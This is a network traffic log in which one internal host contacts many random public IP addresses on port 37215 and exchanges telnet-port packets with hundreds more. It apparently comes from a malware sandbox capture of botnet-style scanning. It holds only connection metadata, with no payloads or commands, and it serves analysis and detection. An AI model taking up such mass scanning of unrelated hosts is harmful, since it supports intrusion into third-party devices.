Jan 5, 2025 14:26:50.624370098 CET	56446	37215	192.168.2.13	41.101.84.64
Jan 5, 2025 14:26:50.624380112 CET	56446	37215	192.168.2.13	156.251.103.73
Jan 5, 2025 14:26:50.624385118 CET	56446	37215	192.168.2.13	41.47.151.36
Jan 5, 2025 14:26:50.624392986 CET	56446	37215	192.168.2.13	197.229.169.80
Jan 5, 2025 14:26:50.624397039 CET	56446	37215	192.168.2.13	156.103.97.107
Jan 5, 2025 14:26:50.624403954 CET	56446	37215	192.168.2.13	197.86.91.103
Jan 5, 2025 14:26:50.624407053 CET	56446	37215	192.168.2.13	156.79.21.75
Jan 5, 2025 14:26:50.624422073 CET	56446	37215	192.168.2.13	41.242.254.13
Jan 5, 2025 14:26:50.624423027 CET	56446	37215	192.168.2.13	41.127.26.128
Jan 5, 2025 14:26:50.624423981 CET	56446	37215	192.168.2.13	156.159.18.193
Jan 5, 2025 14:26:50.624428034 CET	56446	37215	192.168.2.13	41.144.148.98
Jan 5, 2025 14:26:50.624440908 CET	56446	37215	192.168.2.13	156.222.218.83
Jan 5, 2025 14:26:50.624442101 CET	56446	37215	192.168.2.13	41.136.190.181
Jan 5, 2025 14:26:50.624442101 CET	56446	37215	192.168.2.13	41.246.118.159
Jan 5, 2025 14:26:50.624445915 CET	56446	37215	192.168.2.13	197.44.77.22
Jan 5, 2025 14:26:50.624459982 CET	56446	37215	192.168.2.13	197.81.208.10
Jan 5, 2025 14:26:50.624459982 CET	56446	37215	192.168.2.13	41.113.184.36
Jan 5, 2025 14:26:50.624463081 CET	56446	37215	192.168.2.13	197.175.185.216
Jan 5, 2025 14:26:50.624468088 CET	56446	37215	192.168.2.13	197.197.70.72
Jan 5, 2025 14:26:50.624476910 CET	56446	37215	192.168.2.13	156.204.27.238
Jan 5, 2025 14:26:50.624478102 CET	56446	37215	192.168.2.13	197.224.53.164
Jan 5, 2025 14:26:50.624489069 CET	56446	37215	192.168.2.13	197.79.198.73
Jan 5, 2025 14:26:50.624490023 CET	56446	37215	192.168.2.13	156.77.41.130
Jan 5, 2025 14:26:50.624495983 CET	56446	37215	192.168.2.13	197.190.8.194
Jan 5, 2025 14:26:50.624497890 CET	56446	37215	192.168.2.13	41.100.173.47
Jan 5, 2025 14:26:50.624512911 CET	56446	37215	192.168.2.13	156.244.128.14
Jan 5, 2025 14:26:50.624515057 CET	56446	37215	192.168.2.13	156.52.187.170
Jan 5, 2025 14:26:50.624519110 CET	56446	37215	192.168.2.13	156.206.143.107
Jan 5, 2025 14:26:50.624520063 CET	56446	37215	192.168.2.13	197.134.114.68
Jan 5, 2025 14:26:50.624519110 CET	56446	37215	192.168.2.13	41.61.242.133
Jan 5, 2025 14:26:50.624527931 CET	56446	37215	192.168.2.13	41.229.206.21
Jan 5, 2025 14:26:50.624528885 CET	56446	37215	192.168.2.13	41.43.47.55
Jan 5, 2025 14:26:50.624528885 CET	56446	37215	192.168.2.13	197.3.177.66
Jan 5, 2025 14:26:50.624537945 CET	56446	37215	192.168.2.13	156.17.164.22
Jan 5, 2025 14:26:50.624551058 CET	56446	37215	192.168.2.13	41.64.244.147
Jan 5, 2025 14:26:50.624551058 CET	56446	37215	192.168.2.13	41.164.217.209
Jan 5, 2025 14:26:50.624566078 CET	56446	37215	192.168.2.13	156.79.134.134
Jan 5, 2025 14:26:50.624566078 CET	56446	37215	192.168.2.13	156.238.89.101
Jan 5, 2025 14:26:50.624567986 CET	56446	37215	192.168.2.13	156.217.36.36
Jan 5, 2025 14:26:50.624567986 CET	56446	37215	192.168.2.13	41.233.136.131
Jan 5, 2025 14:26:50.624568939 CET	56446	37215	192.168.2.13	156.174.150.215
Jan 5, 2025 14:26:50.624577999 CET	56446	37215	192.168.2.13	41.241.215.90
Jan 5, 2025 14:26:50.624583006 CET	56446	37215	192.168.2.13	41.32.88.160
Jan 5, 2025 14:26:50.624586105 CET	56446	37215	192.168.2.13	156.78.215.77
Jan 5, 2025 14:26:50.624604940 CET	56446	37215	192.168.2.13	197.190.149.203
Jan 5, 2025 14:26:50.624617100 CET	56446	37215	192.168.2.13	41.46.248.105
Jan 5, 2025 14:26:50.624619007 CET	56446	37215	192.168.2.13	41.222.150.90
Jan 5, 2025 14:26:50.624620914 CET	56446	37215	192.168.2.13	197.218.116.187
Jan 5, 2025 14:26:50.624620914 CET	56446	37215	192.168.2.13	156.21.9.6
Jan 5, 2025 14:26:50.624620914 CET	56446	37215	192.168.2.13	197.209.31.67
Jan 5, 2025 14:26:50.624622107 CET	56446	37215	192.168.2.13	156.83.53.19
Jan 5, 2025 14:26:50.624625921 CET	56446	37215	192.168.2.13	197.195.250.179
Jan 5, 2025 14:26:50.624625921 CET	56446	37215	192.168.2.13	156.82.136.60
Jan 5, 2025 14:26:50.624629974 CET	56446	37215	192.168.2.13	41.142.128.237
Jan 5, 2025 14:26:50.624630928 CET	56446	37215	192.168.2.13	41.233.5.176
Jan 5, 2025 14:26:50.624630928 CET	56446	37215	192.168.2.13	156.51.48.219
Jan 5, 2025 14:26:50.624631882 CET	56446	37215	192.168.2.13	197.126.84.207
Jan 5, 2025 14:26:50.624639034 CET	56446	37215	192.168.2.13	41.230.91.15
Jan 5, 2025 14:26:50.624639034 CET	56446	37215	192.168.2.13	197.192.147.138
Jan 5, 2025 14:26:50.624639988 CET	56446	37215	192.168.2.13	41.181.52.246
Jan 5, 2025 14:26:50.624639988 CET	56446	37215	192.168.2.13	41.93.91.35
Jan 5, 2025 14:26:50.624639988 CET	56446	37215	192.168.2.13	41.18.184.120
Jan 5, 2025 14:26:50.624650002 CET	56446	37215	192.168.2.13	197.23.124.181
Jan 5, 2025 14:26:50.624650002 CET	56446	37215	192.168.2.13	41.58.178.68
Jan 5, 2025 14:26:50.624650002 CET	56446	37215	192.168.2.13	197.124.114.243
Jan 5, 2025 14:26:50.624650002 CET	56446	37215	192.168.2.13	156.190.26.83
Jan 5, 2025 14:26:50.624656916 CET	56446	37215	192.168.2.13	156.88.37.97
Jan 5, 2025 14:26:50.624656916 CET	56446	37215	192.168.2.13	41.89.86.67
Jan 5, 2025 14:26:50.624656916 CET	56446	37215	192.168.2.13	156.5.142.28
Jan 5, 2025 14:26:50.624656916 CET	56446	37215	192.168.2.13	156.21.97.161
Jan 5, 2025 14:26:50.624659061 CET	56446	37215	192.168.2.13	197.90.213.162
Jan 5, 2025 14:26:50.624659061 CET	56446	37215	192.168.2.13	156.151.65.220
Jan 5, 2025 14:26:50.624660969 CET	56446	37215	192.168.2.13	156.71.185.115
Jan 5, 2025 14:26:50.624660969 CET	56446	37215	192.168.2.13	197.244.203.42
Jan 5, 2025 14:26:50.624660969 CET	56446	37215	192.168.2.13	41.124.9.207
Jan 5, 2025 14:26:50.624660969 CET	56446	37215	192.168.2.13	156.220.128.0
Jan 5, 2025 14:26:50.624660969 CET	56446	37215	192.168.2.13	197.57.41.230
Jan 5, 2025 14:26:50.624663115 CET	56446	37215	192.168.2.13	156.83.198.221
Jan 5, 2025 14:26:50.624685049 CET	56446	37215	192.168.2.13	41.211.68.187
Jan 5, 2025 14:26:50.624685049 CET	56446	37215	192.168.2.13	41.233.184.110
Jan 5, 2025 14:26:50.624686003 CET	56446	37215	192.168.2.13	156.48.157.197
Jan 5, 2025 14:26:50.624700069 CET	56446	37215	192.168.2.13	197.195.56.29
Jan 5, 2025 14:26:50.624701023 CET	56446	37215	192.168.2.13	197.47.148.83
Jan 5, 2025 14:26:50.624708891 CET	56446	37215	192.168.2.13	156.160.72.45
Jan 5, 2025 14:26:50.624715090 CET	56446	37215	192.168.2.13	156.81.220.185
Jan 5, 2025 14:26:50.624727964 CET	56446	37215	192.168.2.13	41.207.72.209
Jan 5, 2025 14:26:50.624727964 CET	56446	37215	192.168.2.13	41.132.235.52
Jan 5, 2025 14:26:50.624737978 CET	56446	37215	192.168.2.13	41.124.243.165
Jan 5, 2025 14:26:50.624741077 CET	56446	37215	192.168.2.13	156.224.103.95
Jan 5, 2025 14:26:50.626940012 CET	23	57214	198.52.146.165	192.168.2.13
Jan 5, 2025 14:26:50.626951933 CET	23	57214	137.203.156.97	192.168.2.13
Jan 5, 2025 14:26:50.626961946 CET	23	57214	37.64.134.63	192.168.2.13
Jan 5, 2025 14:26:50.626972914 CET	23	57214	177.142.33.22	192.168.2.13
Jan 5, 2025 14:26:50.626981974 CET	57214	23	192.168.2.13	198.52.146.165
Jan 5, 2025 14:26:50.626986027 CET	23	57214	92.229.23.10	192.168.2.13
Jan 5, 2025 14:26:50.626986980 CET	57214	23	192.168.2.13	137.203.156.97
Jan 5, 2025 14:26:50.626990080 CET	57214	23	192.168.2.13	37.64.134.63
Jan 5, 2025 14:26:50.626997948 CET	23	57214	144.208.77.183	192.168.2.13
Jan 5, 2025 14:26:50.627001047 CET	57214	23	192.168.2.13	177.142.33.22
Jan 5, 2025 14:26:50.627008915 CET	23	57214	57.176.238.223	192.168.2.13
Jan 5, 2025 14:26:50.627017021 CET	57214	23	192.168.2.13	92.229.23.10
Jan 5, 2025 14:26:50.627022028 CET	23	57214	106.0.239.219	192.168.2.13
Jan 5, 2025 14:26:50.627027035 CET	57214	23	192.168.2.13	144.208.77.183
Jan 5, 2025 14:26:50.627032995 CET	23	57214	18.142.171.92	192.168.2.13
Jan 5, 2025 14:26:50.627042055 CET	23	57214	101.72.186.143	192.168.2.13
Jan 5, 2025 14:26:50.627048016 CET	57214	23	192.168.2.13	106.0.239.219
Jan 5, 2025 14:26:50.627051115 CET	57214	23	192.168.2.13	57.176.238.223
Jan 5, 2025 14:26:50.627053022 CET	23	57214	174.125.8.174	192.168.2.13
Jan 5, 2025 14:26:50.627064943 CET	23	57214	149.93.239.215	192.168.2.13
Jan 5, 2025 14:26:50.627068043 CET	57214	23	192.168.2.13	101.72.186.143
Jan 5, 2025 14:26:50.627070904 CET	57214	23	192.168.2.13	18.142.171.92
Jan 5, 2025 14:26:50.627083063 CET	57214	23	192.168.2.13	174.125.8.174
Jan 5, 2025 14:26:50.627083063 CET	57214	23	192.168.2.13	149.93.239.215
Jan 5, 2025 14:26:50.627084017 CET	23	57214	43.77.215.174	192.168.2.13
Jan 5, 2025 14:26:50.627095938 CET	23	57214	172.100.75.125	192.168.2.13
Jan 5, 2025 14:26:50.627105951 CET	23	57214	48.94.23.78	192.168.2.13
Jan 5, 2025 14:26:50.627115011 CET	57214	23	192.168.2.13	172.100.75.125
Jan 5, 2025 14:26:50.627116919 CET	23	57214	155.246.121.187	192.168.2.13
Jan 5, 2025 14:26:50.627119064 CET	57214	23	192.168.2.13	43.77.215.174
Jan 5, 2025 14:26:50.627127886 CET	23	57214	184.94.14.70	192.168.2.13
Jan 5, 2025 14:26:50.627140045 CET	23	57214	158.247.147.163	192.168.2.13
Jan 5, 2025 14:26:50.627145052 CET	57214	23	192.168.2.13	48.94.23.78
Jan 5, 2025 14:26:50.627146006 CET	57214	23	192.168.2.13	155.246.121.187
Jan 5, 2025 14:26:50.627151966 CET	57214	23	192.168.2.13	184.94.14.70
Jan 5, 2025 14:26:50.627152920 CET	23	57214	158.198.89.125	192.168.2.13
Jan 5, 2025 14:26:50.627166986 CET	23	57214	76.220.145.198	192.168.2.13
Jan 5, 2025 14:26:50.627168894 CET	57214	23	192.168.2.13	158.247.147.163
Jan 5, 2025 14:26:50.627178907 CET	23	57214	12.193.2.50	192.168.2.13
Jan 5, 2025 14:26:50.627185106 CET	57214	23	192.168.2.13	158.198.89.125
Jan 5, 2025 14:26:50.627188921 CET	57214	23	192.168.2.13	76.220.145.198
Jan 5, 2025 14:26:50.627188921 CET	23	57214	209.117.177.151	192.168.2.13
Jan 5, 2025 14:26:50.627202034 CET	23	57214	78.37.25.1	192.168.2.13
Jan 5, 2025 14:26:50.627207994 CET	57214	23	192.168.2.13	12.193.2.50
Jan 5, 2025 14:26:50.627211094 CET	57214	23	192.168.2.13	209.117.177.151
Jan 5, 2025 14:26:50.627216101 CET	23	57214	176.126.127.64	192.168.2.13
Jan 5, 2025 14:26:50.627230883 CET	57214	23	192.168.2.13	78.37.25.1
Jan 5, 2025 14:26:50.627244949 CET	57214	23	192.168.2.13	176.126.127.64
Jan 5, 2025 14:26:50.627266884 CET	23	57214	115.204.120.17	192.168.2.13
Jan 5, 2025 14:26:50.627279043 CET	23	57214	185.75.52.1	192.168.2.13
Jan 5, 2025 14:26:50.627290010 CET	23	57214	46.100.53.18	192.168.2.13
Jan 5, 2025 14:26:50.627301931 CET	23	57214	130.107.34.39	192.168.2.13
Jan 5, 2025 14:26:50.627301931 CET	57214	23	192.168.2.13	115.204.120.17
Jan 5, 2025 14:26:50.627301931 CET	57214	23	192.168.2.13	185.75.52.1
Jan 5, 2025 14:26:50.627324104 CET	57214	23	192.168.2.13	46.100.53.18
Jan 5, 2025 14:26:50.627326012 CET	23	57214	171.176.110.151	192.168.2.13
Jan 5, 2025 14:26:50.627330065 CET	57214	23	192.168.2.13	130.107.34.39
Jan 5, 2025 14:26:50.627336979 CET	23	57214	117.65.92.67	192.168.2.13
Jan 5, 2025 14:26:50.627351046 CET	23	57214	182.185.8.39	192.168.2.13
Jan 5, 2025 14:26:50.627361059 CET	57214	23	192.168.2.13	171.176.110.151
Jan 5, 2025 14:26:50.627362013 CET	23	57214	90.217.44.56	192.168.2.13
Jan 5, 2025 14:26:50.627363920 CET	57214	23	192.168.2.13	117.65.92.67
Jan 5, 2025 14:26:50.627373934 CET	23	57214	175.98.9.16	192.168.2.13
Jan 5, 2025 14:26:50.627378941 CET	57214	23	192.168.2.13	182.185.8.39
Jan 5, 2025 14:26:50.627386093 CET	23	57214	138.193.41.95	192.168.2.13
Jan 5, 2025 14:26:50.627391100 CET	57214	23	192.168.2.13	90.217.44.56
Jan 5, 2025 14:26:50.627397060 CET	23	57214	74.142.1.65	192.168.2.13
Jan 5, 2025 14:26:50.627399921 CET	57214	23	192.168.2.13	175.98.9.16
Jan 5, 2025 14:26:50.627409935 CET	57214	23	192.168.2.13	138.193.41.95
Jan 5, 2025 14:26:50.627410889 CET	23	57214	139.155.60.198	192.168.2.13
Jan 5, 2025 14:26:50.627423048 CET	23	57214	123.209.196.126	192.168.2.13
Jan 5, 2025 14:26:50.627424955 CET	57214	23	192.168.2.13	74.142.1.65
Jan 5, 2025 14:26:50.627434015 CET	23	57214	141.243.72.29	192.168.2.13
Jan 5, 2025 14:26:50.627443075 CET	57214	23	192.168.2.13	139.155.60.198
Jan 5, 2025 14:26:50.627444029 CET	23	57214	114.132.7.169	192.168.2.13
Jan 5, 2025 14:26:50.627444983 CET	57214	23	192.168.2.13	123.209.196.126
Jan 5, 2025 14:26:50.627455950 CET	23	57214	12.130.211.154	192.168.2.13
Jan 5, 2025 14:26:50.627460003 CET	57214	23	192.168.2.13	141.243.72.29
Jan 5, 2025 14:26:50.627468109 CET	57214	23	192.168.2.13	114.132.7.169
Jan 5, 2025 14:26:50.627473116 CET	23	57214	116.129.228.120	192.168.2.13
Jan 5, 2025 14:26:50.627480030 CET	57214	23	192.168.2.13	12.130.211.154
Jan 5, 2025 14:26:50.627482891 CET	23	57214	13.13.250.80	192.168.2.13
Jan 5, 2025 14:26:50.627495050 CET	23	57214	60.125.138.99	192.168.2.13
Jan 5, 2025 14:26:50.627505064 CET	23	57214	130.151.57.76	192.168.2.13
Jan 5, 2025 14:26:50.627506018 CET	57214	23	192.168.2.13	116.129.228.120
Jan 5, 2025 14:26:50.627512932 CET	57214	23	192.168.2.13	13.13.250.80
Jan 5, 2025 14:26:50.627516985 CET	23	57214	108.219.151.134	192.168.2.13
Jan 5, 2025 14:26:50.627521038 CET	57214	23	192.168.2.13	60.125.138.99
Jan 5, 2025 14:26:50.627528906 CET	57214	23	192.168.2.13	130.151.57.76
Jan 5, 2025 14:26:50.627528906 CET	23	57214	105.134.236.117	192.168.2.13
Jan 5, 2025 14:26:50.627540112 CET	23	57214	108.249.25.160	192.168.2.13
Jan 5, 2025 14:26:50.627540112 CET	57214	23	192.168.2.13	108.219.151.134
Jan 5, 2025 14:26:50.627552032 CET	23	57214	27.34.82.63	192.168.2.13
Jan 5, 2025 14:26:50.627553940 CET	57214	23	192.168.2.13	105.134.236.117
Jan 5, 2025 14:26:50.627563000 CET	23	57214	172.62.193.94	192.168.2.13
Jan 5, 2025 14:26:50.627564907 CET	57214	23	192.168.2.13	108.249.25.160
Jan 5, 2025 14:26:50.627574921 CET	23	57214	129.35.49.166	192.168.2.13
Jan 5, 2025 14:26:50.627584934 CET	57214	23	192.168.2.13	27.34.82.63
Jan 5, 2025 14:26:50.627587080 CET	23	57214	128.119.103.35	192.168.2.13
Jan 5, 2025 14:26:50.627593040 CET	57214	23	192.168.2.13	172.62.193.94
Jan 5, 2025 14:26:50.627599001 CET	57214	23	192.168.2.13	129.35.49.166
Jan 5, 2025 14:26:50.627600908 CET	23	57214	142.33.143.232	192.168.2.13
Jan 5, 2025 14:26:50.627615929 CET	57214	23	192.168.2.13	128.119.103.35
Jan 5, 2025 14:26:50.627628088 CET	23	57214	145.159.131.164	192.168.2.13
Jan 5, 2025 14:26:50.627630949 CET	57214	23	192.168.2.13	142.33.143.232
Jan 5, 2025 14:26:50.627639055 CET	23	57214	174.176.140.103	192.168.2.13
Jan 5, 2025 14:26:50.627649069 CET	23	57214	4.156.150.38	192.168.2.13
Jan 5, 2025 14:26:50.627661943 CET	57214	23	192.168.2.13	145.159.131.164
Jan 5, 2025 14:26:50.627676964 CET	23	57214	72.105.254.26	192.168.2.13
Jan 5, 2025 14:26:50.627684116 CET	57214	23	192.168.2.13	4.156.150.38
Jan 5, 2025 14:26:50.627686977 CET	57214	23	192.168.2.13	174.176.140.103
Jan 5, 2025 14:26:50.627687931 CET	23	57214	153.158.224.65	192.168.2.13
Jan 5, 2025 14:26:50.627700090 CET	23	57214	65.68.111.240	192.168.2.13
Jan 5, 2025 14:26:50.627705097 CET	57214	23	192.168.2.13	72.105.254.26
Jan 5, 2025 14:26:50.627708912 CET	57214	23	192.168.2.13	153.158.224.65
Jan 5, 2025 14:26:50.627710104 CET	23	57214	94.225.230.58	192.168.2.13
Jan 5, 2025 14:26:50.627720118 CET	23	57214	152.217.73.227	192.168.2.13
Jan 5, 2025 14:26:50.627726078 CET	57214	23	192.168.2.13	65.68.111.240
Jan 5, 2025 14:26:50.627731085 CET	23	57214	43.238.132.81	192.168.2.13
Jan 5, 2025 14:26:50.627732038 CET	57214	23	192.168.2.13	94.225.230.58
Jan 5, 2025 14:26:50.627742052 CET	23	57214	180.230.185.83	192.168.2.13
Jan 5, 2025 14:26:50.627749920 CET	57214	23	192.168.2.13	152.217.73.227
Jan 5, 2025 14:26:50.627751112 CET	57214	23	192.168.2.13	43.238.132.81
Jan 5, 2025 14:26:50.627753019 CET	23	57214	183.66.48.160	192.168.2.13
Jan 5, 2025 14:26:50.627764940 CET	23	57214	222.205.166.75	192.168.2.13
Jan 5, 2025 14:26:50.627768993 CET	57214	23	192.168.2.13	180.230.185.83
Jan 5, 2025 14:26:50.627775908 CET	23	57214	105.122.243.73	192.168.2.13
Jan 5, 2025 14:26:50.627789974 CET	23	57214	223.41.252.204	192.168.2.13
Jan 5, 2025 14:26:50.627789974 CET	57214	23	192.168.2.13	183.66.48.160
Jan 5, 2025 14:26:50.627794027 CET	57214	23	192.168.2.13	222.205.166.75
Jan 5, 2025 14:26:50.627800941 CET	23	57214	112.89.74.113	192.168.2.13
Jan 5, 2025 14:26:50.627813101 CET	23	57214	189.244.170.99	192.168.2.13
Jan 5, 2025 14:26:50.627820969 CET	57214	23	192.168.2.13	105.122.243.73
Jan 5, 2025 14:26:50.627820969 CET	57214	23	192.168.2.13	223.41.252.204
Jan 5, 2025 14:26:50.627824068 CET	23	57214	203.132.104.165	192.168.2.13
Jan 5, 2025 14:26:50.627832890 CET	57214	23	192.168.2.13	112.89.74.113
Jan 5, 2025 14:26:50.627835035 CET	23	57214	209.10.152.66	192.168.2.13
Jan 5, 2025 14:26:50.627840996 CET	57214	23	192.168.2.13	189.244.170.99
Jan 5, 2025 14:26:50.627846956 CET	23	57214	192.46.92.46	192.168.2.13
Jan 5, 2025 14:26:50.627851009 CET	57214	23	192.168.2.13	203.132.104.165
Jan 5, 2025 14:26:50.627857924 CET	23	57214	118.141.145.205	192.168.2.13
Jan 5, 2025 14:26:50.627861023 CET	57214	23	192.168.2.13	209.10.152.66
Jan 5, 2025 14:26:50.627872944 CET	57214	23	192.168.2.13	192.46.92.46
Jan 5, 2025 14:26:50.627880096 CET	23	57214	192.1.216.29	192.168.2.13
Jan 5, 2025 14:26:50.627891064 CET	57214	23	192.168.2.13	118.141.145.205
Jan 5, 2025 14:26:50.627891064 CET	23	57214	74.113.89.253	192.168.2.13
Jan 5, 2025 14:26:50.627902031 CET	23	57214	107.148.233.179	192.168.2.13
Jan 5, 2025 14:26:50.627908945 CET	57214	23	192.168.2.13	192.1.216.29
Jan 5, 2025 14:26:50.627912998 CET	23	57214	4.60.191.109	192.168.2.13
Jan 5, 2025 14:26:50.627914906 CET	57214	23	192.168.2.13	74.113.89.253
Jan 5, 2025 14:26:50.627926111 CET	23	57214	65.254.72.249	192.168.2.13
Jan 5, 2025 14:26:50.627927065 CET	57214	23	192.168.2.13	107.148.233.179
Jan 5, 2025 14:26:50.627937078 CET	23	57214	113.182.234.139	192.168.2.13
Jan 5, 2025 14:26:50.627944946 CET	57214	23	192.168.2.13	4.60.191.109
Jan 5, 2025 14:26:50.627948046 CET	23	57214	185.5.61.22	192.168.2.13
Jan 5, 2025 14:26:50.627957106 CET	57214	23	192.168.2.13	65.254.72.249
Jan 5, 2025 14:26:50.627959013 CET	57214	23	192.168.2.13	113.182.234.139
Jan 5, 2025 14:26:50.627980947 CET	57214	23	192.168.2.13	185.5.61.22
Jan 5, 2025 14:26:50.627983093 CET	23	57214	198.73.78.237	192.168.2.13
Jan 5, 2025 14:26:50.627994061 CET	23	57214	52.210.216.145	192.168.2.13
Jan 5, 2025 14:26:50.628004074 CET	23	57214	64.83.120.70	192.168.2.13
Jan 5, 2025 14:26:50.628006935 CET	57214	23	192.168.2.13	198.73.78.237
Jan 5, 2025 14:26:50.628015995 CET	23	57214	161.41.229.6	192.168.2.13
Jan 5, 2025 14:26:50.628021955 CET	57214	23	192.168.2.13	52.210.216.145
Jan 5, 2025 14:26:50.628030062 CET	23	57214	195.45.54.46	192.168.2.13
Jan 5, 2025 14:26:50.628031969 CET	57214	23	192.168.2.13	64.83.120.70
Jan 5, 2025 14:26:50.628041029 CET	23	57214	84.16.242.132	192.168.2.13
Jan 5, 2025 14:26:50.628046989 CET	57214	23	192.168.2.13	161.41.229.6
Jan 5, 2025 14:26:50.628051996 CET	23	57214	218.37.164.166	192.168.2.13
Jan 5, 2025 14:26:50.628066063 CET	57214	23	192.168.2.13	195.45.54.46
Jan 5, 2025 14:26:50.628070116 CET	23	57214	92.8.146.10	192.168.2.13
Jan 5, 2025 14:26:50.628072977 CET	57214	23	192.168.2.13	84.16.242.132
Jan 5, 2025 14:26:50.628082991 CET	23	57214	50.28.230.253	192.168.2.13
Jan 5, 2025 14:26:50.628087044 CET	57214	23	192.168.2.13	218.37.164.166
Jan 5, 2025 14:26:50.628093958 CET	23	57214	204.230.43.185	192.168.2.13
Jan 5, 2025 14:26:50.628098011 CET	57214	23	192.168.2.13	92.8.146.10
Jan 5, 2025 14:26:50.628106117 CET	23	57214	154.146.142.2	192.168.2.13
Jan 5, 2025 14:26:50.628108025 CET	57214	23	192.168.2.13	50.28.230.253
Jan 5, 2025 14:26:50.628118038 CET	57214	23	192.168.2.13	204.230.43.185
Jan 5, 2025 14:26:50.628118992 CET	23	57214	69.177.181.104	192.168.2.13
Jan 5, 2025 14:26:50.628135920 CET	57214	23	192.168.2.13	154.146.142.2
Jan 5, 2025 14:26:50.628142118 CET	23	57214	221.142.162.162	192.168.2.13
Jan 5, 2025 14:26:50.628153086 CET	23	57214	173.99.109.48	192.168.2.13
Jan 5, 2025 14:26:50.628160000 CET	57214	23	192.168.2.13	69.177.181.104
Jan 5, 2025 14:26:50.628165007 CET	23	57214	74.224.41.203	192.168.2.13
Jan 5, 2025 14:26:50.628173113 CET	57214	23	192.168.2.13	221.142.162.162
Jan 5, 2025 14:26:50.628175974 CET	23	57214	106.11.230.139	192.168.2.13
Jan 5, 2025 14:26:50.628185987 CET	57214	23	192.168.2.13	173.99.109.48
Jan 5, 2025 14:26:50.628186941 CET	23	57214	70.183.220.31	192.168.2.13
Jan 5, 2025 14:26:50.628196001 CET	57214	23	192.168.2.13	74.224.41.203
Jan 5, 2025 14:26:50.628199100 CET	23	57214	105.31.143.53	192.168.2.13
Jan 5, 2025 14:26:50.628204107 CET	57214	23	192.168.2.13	106.11.230.139
Jan 5, 2025 14:26:50.628211021 CET	23	57214	198.58.78.55	192.168.2.13
Jan 5, 2025 14:26:50.628212929 CET	57214	23	192.168.2.13	70.183.220.31
Jan 5, 2025 14:26:50.628222942 CET	23	57214	166.188.166.150	192.168.2.13
Jan 5, 2025 14:26:50.628225088 CET	57214	23	192.168.2.13	105.31.143.53
Jan 5, 2025 14:26:50.628233910 CET	23	57214	87.62.24.76	192.168.2.13
Jan 5, 2025 14:26:50.628240108 CET	57214	23	192.168.2.13	198.58.78.55
Jan 5, 2025 14:26:50.628246069 CET	23	57214	34.131.242.82	192.168.2.13
Jan 5, 2025 14:26:50.628247023 CET	57214	23	192.168.2.13	166.188.166.150
Jan 5, 2025 14:26:50.628256083 CET	23	57214	223.253.234.193	192.168.2.13
Jan 5, 2025 14:26:50.628261089 CET	57214	23	192.168.2.13	87.62.24.76
Jan 5, 2025 14:26:50.628267050 CET	23	57214	43.255.103.67	192.168.2.13
Jan 5, 2025 14:26:50.628273010 CET	57214	23	192.168.2.13	34.131.242.82
Jan 5, 2025 14:26:50.628278971 CET	23	57214	67.150.5.222	192.168.2.13
Jan 5, 2025 14:26:50.628284931 CET	57214	23	192.168.2.13	223.253.234.193
Jan 5, 2025 14:26:50.628292084 CET	23	57214	70.110.196.53	192.168.2.13
Jan 5, 2025 14:26:50.628299952 CET	57214	23	192.168.2.13	43.255.103.67
Jan 5, 2025 14:26:50.628300905 CET	57214	23	192.168.2.13	67.150.5.222
Jan 5, 2025 14:26:50.628303051 CET	23	57214	195.252.38.51	192.168.2.13
Jan 5, 2025 14:26:50.628314018 CET	23	57214	40.39.37.238	192.168.2.13
Jan 5, 2025 14:26:50.628315926 CET	57214	23	192.168.2.13	70.110.196.53
Jan 5, 2025 14:26:50.628336906 CET	57214	23	192.168.2.13	195.252.38.51
Jan 5, 2025 14:26:50.628345013 CET	57214	23	192.168.2.13	40.39.37.238
Jan 5, 2025 14:26:50.628375053 CET	23	57214	94.247.197.66	192.168.2.13
Jan 5, 2025 14:26:50.628386021 CET	23	57214	110.228.44.94	192.168.2.13
Jan 5, 2025 14:26:50.628396034 CET	23	57214	42.54.232.27	192.168.2.13
Jan 5, 2025 14:26:50.628407001 CET	23	57214	8.166.163.79	192.168.2.13
Jan 5, 2025 14:26:50.628407955 CET	57214	23	192.168.2.13	94.247.197.66
Jan 5, 2025 14:26:50.628416061 CET	57214	23	192.168.2.13	110.228.44.94
Jan 5, 2025 14:26:50.628417969 CET	23	57214	170.231.247.161	192.168.2.13
Jan 5, 2025 14:26:50.628420115 CET	57214	23	192.168.2.13	42.54.232.27
Jan 5, 2025 14:26:50.628438950 CET	57214	23	192.168.2.13	8.166.163.79
Jan 5, 2025 14:26:50.628438950 CET	57214	23	192.168.2.13	170.231.247.161
Jan 5, 2025 14:26:50.628520012 CET	23	57214	138.210.106.27	192.168.2.13
Jan 5, 2025 14:26:50.628530979 CET	23	57214	142.236.149.10	192.168.2.13
Jan 5, 2025 14:26:50.628540993 CET	23	57214	86.25.248.240	192.168.2.13
Jan 5, 2025 14:26:50.628546953 CET	57214	23	192.168.2.13	138.210.106.27
Jan 5, 2025 14:26:50.628551960 CET	23	57214	106.24.62.139	192.168.2.13
Jan 5, 2025 14:26:50.628561974 CET	23	57214	216.101.17.105	192.168.2.13
Jan 5, 2025 14:26:50.628562927 CET	57214	23	192.168.2.13	142.236.149.10
Jan 5, 2025 14:26:50.628576040 CET	57214	23	192.168.2.13	86.25.248.240
Jan 5, 2025 14:26:50.628577948 CET	57214	23	192.168.2.13	106.24.62.139
Jan 5, 2025 14:26:50.628585100 CET	23	57214	199.93.214.171	192.168.2.13
Jan 5, 2025 14:26:50.628596067 CET	57214	23	192.168.2.13	216.101.17.105
Jan 5, 2025 14:26:50.628596067 CET	23	57214	98.13.187.165	192.168.2.13
Jan 5, 2025 14:26:50.628607035 CET	23	57214	87.23.10.235	192.168.2.13
Jan 5, 2025 14:26:50.628607988 CET	57214	23	192.168.2.13	199.93.214.171
Jan 5, 2025 14:26:50.628618956 CET	23	57214	24.180.180.61	192.168.2.13
Jan 5, 2025 14:26:50.628621101 CET	57214	23	192.168.2.13	98.13.187.165
Jan 5, 2025 14:26:50.628629923 CET	23	57214	128.228.153.46	192.168.2.13
Jan 5, 2025 14:26:50.628631115 CET	57214	23	192.168.2.13	87.23.10.235
Jan 5, 2025 14:26:50.628640890 CET	23	57214	83.240.185.122	192.168.2.13
Jan 5, 2025 14:26:50.628648043 CET	57214	23	192.168.2.13	128.228.153.46
Jan 5, 2025 14:26:50.628648996 CET	57214	23	192.168.2.13	24.180.180.61
Jan 5, 2025 14:26:50.628652096 CET	23	57214	186.86.12.61	192.168.2.13
Jan 5, 2025 14:26:50.628663063 CET	23	57214	143.193.128.139	192.168.2.13
Jan 5, 2025 14:26:50.628664970 CET	57214	23	192.168.2.13	83.240.185.122
Jan 5, 2025 14:26:50.628674984 CET	23	57214	54.132.122.147	192.168.2.13
